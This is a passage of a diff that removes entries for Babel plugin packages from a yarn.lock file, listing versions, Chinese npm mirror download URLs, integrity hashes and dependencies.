-  resolved "https://registry.nlark.com/@babel/plugin-proposal-optional-catch-binding/download/@babel/plugin-proposal-optional-catch-binding-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-optional-catch-binding%2Fdownload%2F%40babel%2Fplugin-proposal-optional-catch-binding-7.14.2.tgz#150d4e58e525b16a9a1431bd5326c4eed870d717"
-  integrity sha1-FQ1OWOUlsWqaFDG9UybE7thw1xc=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/plugin-syntax-optional-catch-binding" "^7.8.3"
-
-"@babel/plugin-proposal-optional-chaining@7.12.1":
-  version "7.12.1"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-optional-chaining/download/@babel/plugin-proposal-optional-chaining-7.12.1.tgz?cache=0&sync_timestamp=1620840026503&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-optional-chaining%2Fdownload%2F%40babel%2Fplugin-proposal-optional-chaining-7.12.1.tgz#cce122203fc8a32794296fc377c6dedaf4363797"
-  integrity sha1-zOEiID/IoyeUKW/Dd8be2vQ2N5c=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.10.4"
-    "@babel/helper-skip-transparent-expression-wrappers" "^7.12.1"
-    "@babel/plugin-syntax-optional-chaining" "^7.8.0"
-
-"@babel/plugin-proposal-optional-chaining@^7.12.1", "@babel/plugin-proposal-optional-chaining@^7.13.12", "@babel/plugin-proposal-optional-chaining@^7.14.2":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-optional-chaining/download/@babel/plugin-proposal-optional-chaining-7.14.2.tgz?cache=0&sync_timestamp=1620840026503&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-optional-chaining%2Fdownload%2F%40babel%2Fplugin-proposal-optional-chaining-7.14.2.tgz#df8171a8b9c43ebf4c1dabe6311b432d83e1b34e"
-  integrity sha1-34FxqLnEPr9MHavmMRtDLYPhs04=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/helper-skip-transparent-expression-wrappers" "^7.12.1"
-    "@babel/plugin-syntax-optional-chaining" "^7.8.3"
-
-"@babel/plugin-proposal-private-methods@^7.12.1", "@babel/plugin-proposal-private-methods@^7.13.0":
-  version "7.13.0"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-proposal-private-methods/download/@babel/plugin-proposal-private-methods-7.13.0.tgz#04bd4c6d40f6e6bbfa2f57e2d8094bad900ef787"
-  integrity sha1-BL1MbUD25rv6L1fi2AlLrZAO94c=
-  dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.13.0"
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-proposal-private-property-in-object@^7.14.0":
-  version "7.14.0"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-private-property-in-object/download/@babel/plugin-proposal-private-property-in-object-7.14.0.tgz?cache=0&sync_timestamp=1619727438428&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-private-property-in-object%2Fdownload%2F%40babel%2Fplugin-proposal-private-property-in-object-7.14.0.tgz#b1a1f2030586b9d3489cc26179d2eb5883277636"
-  integrity sha1-saHyAwWGudNInMJhedLrWIMndjY=
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.12.13"
-    "@babel/helper-create-class-features-plugin" "^7.14.0"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/plugin-syntax-private-property-in-object" "^7.14.0"
-
-"@babel/plugin-proposal-unicode-property-regex@^7.12.1", "@babel/plugin-proposal-unicode-property-regex@^7.12.13", "@babel/plugin-proposal-unicode-property-regex@^7.4.4":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-proposal-unicode-property-regex/download/@babel/plugin-proposal-unicode-property-regex-7.12.13.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-proposal-unicode-property-regex%2Fdownload%2F%40babel%2Fplugin-proposal-unicode-property-regex-7.12.13.tgz#bebde51339be829c17aaaaced18641deb62b39ba"
-  integrity sha1-vr3lEzm+gpwXqqrO0YZB3rYrObo=
-  dependencies:
-    "@babel/helper-create-regexp-features-plugin" "^7.12.13"
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-syntax-async-generators@^7.8.0", "@babel/plugin-syntax-async-generators@^7.8.4":
-  version "7.8.4"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-async-generators/download/@babel/plugin-syntax-async-generators-7.8.4.tgz#a983fb1aeb2ec3f6ed042a210f640e90e786fe0d"
-  integrity sha1-qYP7Gusuw/btBCohD2QOkOeG/g0=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-bigint@^7.8.3":
-  version "7.8.3"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-bigint/download/@babel/plugin-syntax-bigint-7.8.3.tgz#4c9a6f669f5d0cdf1b90a1671e9a146be5300cea"
-  integrity sha1-TJpvZp9dDN8bkKFnHpoUa+UwDOo=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-class-properties@^7.12.1", "@babel/plugin-syntax-class-properties@^7.12.13", "@babel/plugin-syntax-class-properties@^7.8.3":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-class-properties/download/@babel/plugin-syntax-class-properties-7.12.13.tgz?cache=0&sync_timestamp=1612314829085&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-syntax-class-properties%2Fdownload%2F%40babel%2Fplugin-syntax-class-properties-7.12.13.tgz#b5c987274c4a3a82b89714796931a6b53544ae10"
-  integrity sha1-tcmHJ0xKOoK4lxR5aTGmtTVErhA=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-syntax-class-static-block@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.nlark.com/@babel/plugin-syntax-class-static-block/download/@babel/plugin-syntax-class-static-block-7.12.13.tgz#8e3d674b0613e67975ceac2776c97b60cafc5c9c"
-  integrity sha1-jj1nSwYT5nl1zqwndsl7YMr8XJw=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-syntax-decorators@^7.12.1":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-decorators/download/@babel/plugin-syntax-decorators-7.12.13.tgz?cache=0&sync_timestamp=1612314725413&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-syntax-decorators%2Fdownload%2F%40babel%2Fplugin-syntax-decorators-7.12.13.tgz#fac829bf3c7ef4a1bc916257b403e58c6bdaf648"
-  integrity sha1-+sgpvzx+9KG8kWJXtAPljGva9kg=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-syntax-dynamic-import@^7.8.0", "@babel/plugin-syntax-dynamic-import@^7.8.3":
-  version "7.8.3"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-dynamic-import/download/@babel/plugin-syntax-dynamic-import-7.8.3.tgz#62bf98b2da3cd21d626154fc96ee5b3cb68eacb3"
-  integrity sha1-Yr+Ysto80h1iYVT8lu5bPLaOrLM=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-export-namespace-from@^7.8.3":
-  version "7.8.3"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-export-namespace-from/download/@babel/plugin-syntax-export-namespace-from-7.8.3.tgz#028964a9ba80dbc094c915c487ad7c4e7a66465a"
-  integrity sha1-AolkqbqA28CUyRXEh618TnpmRlo=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.3"
-
-"@babel/plugin-syntax-flow@^7.12.1":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-flow/download/@babel/plugin-syntax-flow-7.12.13.tgz#5df9962503c0a9c918381c929d51d4d6949e7e86"
-  integrity sha1-XfmWJQPAqckYOBySnVHU1pSefoY=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-syntax-import-meta@^7.8.3":
-  version "7.10.4"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-import-meta/download/@babel/plugin-syntax-import-meta-7.10.4.tgz#ee601348c370fa334d2207be158777496521fd51"
-  integrity sha1-7mATSMNw+jNNIge+FYd3SWUh/VE=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.10.4"
-
-"@babel/plugin-syntax-json-strings@^7.8.0", "@babel/plugin-syntax-json-strings@^7.8.3":
-  version "7.8.3"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-json-strings/download/@babel/plugin-syntax-json-strings-7.8.3.tgz#01ca21b668cd8218c9e640cb6dd88c5412b2c96a"
-  integrity sha1-AcohtmjNghjJ5kDLbdiMVBKyyWo=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-jsx@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-jsx/download/@babel/plugin-syntax-jsx-7.12.13.tgz?cache=0&sync_timestamp=1612314757691&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-syntax-jsx%2Fdownload%2F%40babel%2Fplugin-syntax-jsx-7.12.13.tgz#044fb81ebad6698fe62c478875575bcbb9b70f15"
-  integrity sha1-BE+4HrrWaY/mLEeIdVdby7m3DxU=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-syntax-logical-assignment-operators@^7.10.4", "@babel/plugin-syntax-logical-assignment-operators@^7.8.3":
-  version "7.10.4"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-logical-assignment-operators/download/@babel/plugin-syntax-logical-assignment-operators-7.10.4.tgz#ca91ef46303530448b906652bac2e9fe9941f699"
-  integrity sha1-ypHvRjA1MESLkGZSusLp/plB9pk=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.10.4"
-
-"@babel/plugin-syntax-nullish-coalescing-operator@^7.8.0", "@babel/plugin-syntax-nullish-coalescing-operator@^7.8.3":
-  version "7.8.3"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-nullish-coalescing-operator/download/@babel/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz#167ed70368886081f74b5c36c65a88c03b66d1a9"
-  integrity sha1-Fn7XA2iIYIH3S1w2xlqIwDtm0ak=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-numeric-separator@^7.10.4", "@babel/plugin-syntax-numeric-separator@^7.8.3":
-  version "7.10.4"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-numeric-separator/download/@babel/plugin-syntax-numeric-separator-7.10.4.tgz#b9b070b3e33570cd9fd07ba7fa91c0dd37b9af97"
-  integrity sha1-ubBws+M1cM2f0Hun+pHA3Te5r5c=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.10.4"
-
-"@babel/plugin-syntax-object-rest-spread@^7.8.0", "@babel/plugin-syntax-object-rest-spread@^7.8.3":
-  version "7.8.3"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-object-rest-spread/download/@babel/plugin-syntax-object-rest-spread-7.8.3.tgz#60e225edcbd98a640332a2e72dd3e66f1af55871"
-  integrity sha1-YOIl7cvZimQDMqLnLdPmbxr1WHE=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-optional-catch-binding@^7.8.0", "@babel/plugin-syntax-optional-catch-binding@^7.8.3":
-  version "7.8.3"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-optional-catch-binding/download/@babel/plugin-syntax-optional-catch-binding-7.8.3.tgz#6111a265bcfb020eb9efd0fdfd7d26402b9ed6c1"
-  integrity sha1-YRGiZbz7Ag6579D9/X0mQCue1sE=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-optional-chaining@^7.8.0", "@babel/plugin-syntax-optional-chaining@^7.8.3":
-  version "7.8.3"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-optional-chaining/download/@babel/plugin-syntax-optional-chaining-7.8.3.tgz#4f69c2ab95167e0180cd5336613f8c5788f7d48a"
-  integrity sha1-T2nCq5UWfgGAzVM2YT+MV4j31Io=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-private-property-in-object@^7.14.0":
-  version "7.14.0"
-  resolved "https://registry.nlark.com/@babel/plugin-syntax-private-property-in-object/download/@babel/plugin-syntax-private-property-in-object-7.14.0.tgz?cache=0&sync_timestamp=1619727440741&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-syntax-private-property-in-object%2Fdownload%2F%40babel%2Fplugin-syntax-private-property-in-object-7.14.0.tgz#762a4babec61176fec6c88480dec40372b140c0b"
-  integrity sha1-dipLq+xhF2/sbIhIDexANysUDAs=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-syntax-top-level-await@^7.12.1", "@babel/plugin-syntax-top-level-await@^7.12.13", "@babel/plugin-syntax-top-level-await@^7.8.3":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-top-level-await/download/@babel/plugin-syntax-top-level-await-7.12.13.tgz#c5f0fa6e249f5b739727f923540cf7a806130178"
-  integrity sha1-xfD6biSfW3OXJ/kjVAz3qAYTAXg=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-syntax-typescript@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.nlark.com/@babel/plugin-syntax-typescript/download/@babel/plugin-syntax-typescript-7.12.13.tgz#9dff111ca64154cef0f4dc52cf843d9f12ce4474"
-  integrity sha1-nf8RHKZBVM7w9NxSz4Q9nxLORHQ=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-arrow-functions@^7.12.1", "@babel/plugin-transform-arrow-functions@^7.13.0":
-  version "7.13.0"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-arrow-functions/download/@babel/plugin-transform-arrow-functions-7.13.0.tgz#10a59bebad52d637a027afa692e8d5ceff5e3dae"
-  integrity sha1-EKWb661S1jegJ6+mkujVzv9ePa4=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-transform-async-to-generator@^7.12.1", "@babel/plugin-transform-async-to-generator@^7.13.0":
-  version "7.13.0"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-async-to-generator/download/@babel/plugin-transform-async-to-generator-7.13.0.tgz#8e112bf6771b82bf1e974e5e26806c5c99aa516f"
-  integrity sha1-jhEr9ncbgr8el05eJoBsXJmqUW8=
-  dependencies:
-    "@babel/helper-module-imports" "^7.12.13"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/helper-remap-async-to-generator" "^7.13.0"
-
-"@babel/plugin-transform-block-scoped-functions@^7.12.1", "@babel/plugin-transform-block-scoped-functions@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-block-scoped-functions/download/@babel/plugin-transform-block-scoped-functions-7.12.13.tgz?cache=0&sync_timestamp=1612314818063&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-block-scoped-functions%2Fdownload%2F%40babel%2Fplugin-transform-block-scoped-functions-7.12.13.tgz#a9bf1836f2a39b4eb6cf09967739de29ea4bf4c4"
-  integrity sha1-qb8YNvKjm062zwmWdzneKepL9MQ=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-block-scoping@^7.12.1", "@babel/plugin-transform-block-scoping@^7.14.4":
-  version "7.14.4"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-block-scoping/download/@babel/plugin-transform-block-scoping-7.14.4.tgz?cache=0&sync_timestamp=1622221249143&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-block-scoping%2Fdownload%2F%40babel%2Fplugin-transform-block-scoping-7.14.4.tgz#caf140b0b2e2462c509553d140e6d0abefb61ed8"
-  integrity sha1-yvFAsLLiRixQlVPRQObQq++2Htg=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-transform-classes@^7.12.1", "@babel/plugin-transform-classes@^7.14.4":
-  version "7.14.4"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-classes/download/@babel/plugin-transform-classes-7.14.4.tgz?cache=0&sync_timestamp=1622222859146&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-classes%2Fdownload%2F%40babel%2Fplugin-transform-classes-7.14.4.tgz#a83c15503fc71a0f99e876fdce7dadbc6575ec3a"
-  integrity sha1-qDwVUD/HGg+Z6Hb9zn2tvGV17Do=
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.12.13"
-    "@babel/helper-function-name" "^7.14.2"
-    "@babel/helper-optimise-call-expression" "^7.12.13"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/helper-replace-supers" "^7.14.4"
-    "@babel/helper-split-export-declaration" "^7.12.13"
-    globals "^11.1.0"
-
-"@babel/plugin-transform-computed-properties@^7.12.1", "@babel/plugin-transform-computed-properties@^7.13.0":
-  version "7.13.0"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-computed-properties/download/@babel/plugin-transform-computed-properties-7.13.0.tgz#845c6e8b9bb55376b1fa0b92ef0bdc8ea06644ed"
-  integrity sha1-hFxui5u1U3ax+guS7wvcjqBmRO0=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-transform-destructuring@^7.12.1", "@babel/plugin-transform-destructuring@^7.14.4":
-  version "7.14.4"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-destructuring/download/@babel/plugin-transform-destructuring-7.14.4.tgz#acbec502e9951f30f4441eaca1d2f29efade59ed"
-  integrity sha1-rL7FAumVHzD0RB6sodLynvreWe0=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-transform-dotall-regex@^7.12.1", "@babel/plugin-transform-dotall-regex@^7.12.13", "@babel/plugin-transform-dotall-regex@^7.4.4":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-dotall-regex/download/@babel/plugin-transform-dotall-regex-7.12.13.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-dotall-regex%2Fdownload%2F%40babel%2Fplugin-transform-dotall-regex-7.12.13.tgz#3f1601cc29905bfcb67f53910f197aeafebb25ad"
-  integrity sha1-PxYBzCmQW/y2f1ORDxl66v67Ja0=
-  dependencies:
-    "@babel/helper-create-regexp-features-plugin" "^7.12.13"
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-duplicate-keys@^7.12.1", "@babel/plugin-transform-duplicate-keys@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-duplicate-keys/download/@babel/plugin-transform-duplicate-keys-7.12.13.tgz?cache=0&sync_timestamp=1612314817333&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-duplicate-keys%2Fdownload%2F%40babel%2Fplugin-transform-duplicate-keys-7.12.13.tgz#6f06b87a8b803fd928e54b81c258f0a0033904de"
-  integrity sha1-bwa4eouAP9ko5UuBwljwoAM5BN4=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-exponentiation-operator@^7.12.1", "@babel/plugin-transform-exponentiation-operator@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-exponentiation-operator/download/@babel/plugin-transform-exponentiation-operator-7.12.13.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-exponentiation-operator%2Fdownload%2F%40babel%2Fplugin-transform-exponentiation-operator-7.12.13.tgz#4d52390b9a273e651e4aba6aee49ef40e80cd0a1"
-  integrity sha1-TVI5C5onPmUeSrpq7knvQOgM0KE=
-  dependencies:
-    "@babel/helper-builder-binary-assignment-operator-visitor" "^7.12.13"
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-flow-strip-types@7.12.1":
-  version "7.12.1"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-flow-strip-types/download/@babel/plugin-transform-flow-strip-types-7.12.1.tgz#8430decfa7eb2aea5414ed4a3fa6e1652b7d77c4"
-  integrity sha1-hDDez6frKupUFO1KP6bhZSt9d8Q=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.10.4"
-    "@babel/plugin-syntax-flow" "^7.12.1"
-
-"@babel/plugin-transform-for-of@^7.12.1", "@babel/plugin-transform-for-of@^7.13.0":
-  version "7.13.0"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-for-of/download/@babel/plugin-transform-for-of-7.13.0.tgz#c799f881a8091ac26b54867a845c3e97d2696062"
-  integrity sha1-x5n4gagJGsJrVIZ6hFw+l9JpYGI=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-transform-function-name@^7.12.1", "@babel/plugin-transform-function-name@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-function-name/download/@babel/plugin-transform-function-name-7.12.13.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-function-name%2Fdownload%2F%40babel%2Fplugin-transform-function-name-7.12.13.tgz#bb024452f9aaed861d374c8e7a24252ce3a50051"
-  integrity sha1-uwJEUvmq7YYdN0yOeiQlLOOlAFE=
-  dependencies:
-    "@babel/helper-function-name" "^7.12.13"
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-literals@^7.12.1", "@babel/plugin-transform-literals@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-literals/download/@babel/plugin-transform-literals-7.12.13.tgz#2ca45bafe4a820197cf315794a4d26560fe4bdb9"
-  integrity sha1-LKRbr+SoIBl88xV5Sk0mVg/kvbk=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-member-expression-literals@^7.12.1", "@babel/plugin-transform-member-expression-literals@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-member-expression-literals/download/@babel/plugin-transform-member-expression-literals-7.12.13.tgz#5ffa66cd59b9e191314c9f1f803b938e8c081e40"
-  integrity sha1-X/pmzVm54ZExTJ8fgDuTjowIHkA=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-modules-amd@^7.12.1", "@babel/plugin-transform-modules-amd@^7.14.2":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-modules-amd/download/@babel/plugin-transform-modules-amd-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-modules-amd%2Fdownload%2F%40babel%2Fplugin-transform-modules-amd-7.14.2.tgz#6622806fe1a7c07a1388444222ef9535f2ca17b0"
-  integrity sha1-ZiKAb+GnwHoTiERCIu+VNfLKF7A=
-  dependencies:
-    "@babel/helper-module-transforms" "^7.14.2"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    babel-plugin-dynamic-import-node "^2.3.3"
-
-"@babel/plugin-transform-modules-commonjs@^7.12.1", "@babel/plugin-transform-modules-commonjs@^7.14.0":
-  version "7.14.0"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-modules-commonjs/download/@babel/plugin-transform-modules-commonjs-7.14.0.tgz?cache=0&sync_timestamp=1619727045657&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-modules-commonjs%2Fdownload%2F%40babel%2Fplugin-transform-modules-commonjs-7.14.0.tgz#52bc199cb581e0992edba0f0f80356467587f161"
-  integrity sha1-UrwZnLWB4Jku26Dw+ANWRnWH8WE=
-  dependencies:
-    "@babel/helper-module-transforms" "^7.14.0"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/helper-simple-access" "^7.13.12"
-    babel-plugin-dynamic-import-node "^2.3.3"
-
-"@babel/plugin-transform-modules-systemjs@^7.12.1", "@babel/plugin-transform-modules-systemjs@^7.13.8":
-  version "7.13.8"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-modules-systemjs/download/@babel/plugin-transform-modules-systemjs-7.13.8.tgz#6d066ee2bff3c7b3d60bf28dec169ad993831ae3"
-  integrity sha1-bQZu4r/zx7PWC/KN7Baa2ZODGuM=
-  dependencies:
-    "@babel/helper-hoist-variables" "^7.13.0"
-    "@babel/helper-module-transforms" "^7.13.0"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/helper-validator-identifier" "^7.12.11"
-    babel-plugin-dynamic-import-node "^2.3.3"
-
-"@babel/plugin-transform-modules-umd@^7.12.1", "@babel/plugin-transform-modules-umd@^7.14.0":
-  version "7.14.0"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-modules-umd/download/@babel/plugin-transform-modules-umd-7.14.0.tgz?cache=0&sync_timestamp=1619727046120&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-modules-umd%2Fdownload%2F%40babel%2Fplugin-transform-modules-umd-7.14.0.tgz#2f8179d1bbc9263665ce4a65f305526b2ea8ac34"
-  integrity sha1-L4F50bvJJjZlzkpl8wVSay6orDQ=
-  dependencies:
-    "@babel/helper-module-transforms" "^7.14.0"
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-transform-named-capturing-groups-regex@^7.12.1", "@babel/plugin-transform-named-capturing-groups-regex@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-named-capturing-groups-regex/download/@babel/plugin-transform-named-capturing-groups-regex-7.12.13.tgz#2213725a5f5bbbe364b50c3ba5998c9599c5c9d9"
-  integrity sha1-IhNyWl9bu+NktQw7pZmMlZnFydk=
-  dependencies:
-    "@babel/helper-create-regexp-features-plugin" "^7.12.13"
-
-"@babel/plugin-transform-new-target@^7.12.1", "@babel/plugin-transform-new-target@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-new-target/download/@babel/plugin-transform-new-target-7.12.13.tgz#e22d8c3af24b150dd528cbd6e685e799bf1c351c"
-  integrity sha1-4i2MOvJLFQ3VKMvW5oXnmb8cNRw=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-object-super@^7.12.1", "@babel/plugin-transform-object-super@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-object-super/download/@babel/plugin-transform-object-super-7.12.13.tgz#b4416a2d63b8f7be314f3d349bd55a9c1b5171f7"
-  integrity sha1-tEFqLWO4974xTz00m9VanBtRcfc=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-    "@babel/helper-replace-supers" "^7.12.13"
-
-"@babel/plugin-transform-parameters@^7.12.1", "@babel/plugin-transform-parameters@^7.14.2":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-parameters/download/@babel/plugin-transform-parameters-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-parameters%2Fdownload%2F%40babel%2Fplugin-transform-parameters-7.14.2.tgz#e4290f72e0e9e831000d066427c4667098decc31"
-  integrity sha1-5CkPcuDp6DEADQZkJ8RmcJjezDE=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-transform-property-literals@^7.12.1", "@babel/plugin-transform-property-literals@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-property-literals/download/@babel/plugin-transform-property-literals-7.12.13.tgz#4e6a9e37864d8f1b3bc0e2dce7bf8857db8b1a81"
-  integrity sha1-TmqeN4ZNjxs7wOLc57+IV9uLGoE=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-react-constant-elements@^7.12.1":
-  version "7.13.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-react-constant-elements/download/@babel/plugin-transform-react-constant-elements-7.13.13.tgz#0208b1d942bf939cd4f7aa5b255d42602aa4a920"
-  integrity sha1-Agix2UK/k5zU96pbJV1CYCqkqSA=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-transform-react-display-name@7.12.1":
-  version "7.12.1"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-react-display-name/download/@babel/plugin-transform-react-display-name-7.12.1.tgz?cache=0&sync_timestamp=1620839456013&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-react-display-name%2Fdownload%2F%40babel%2Fplugin-transform-react-display-name-7.12.1.tgz#1cbcd0c3b1d6648c55374a22fc9b6b7e5341c00d"
-  integrity sha1-HLzQw7HWZIxVN0oi/JtrflNBwA0=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.10.4"
-
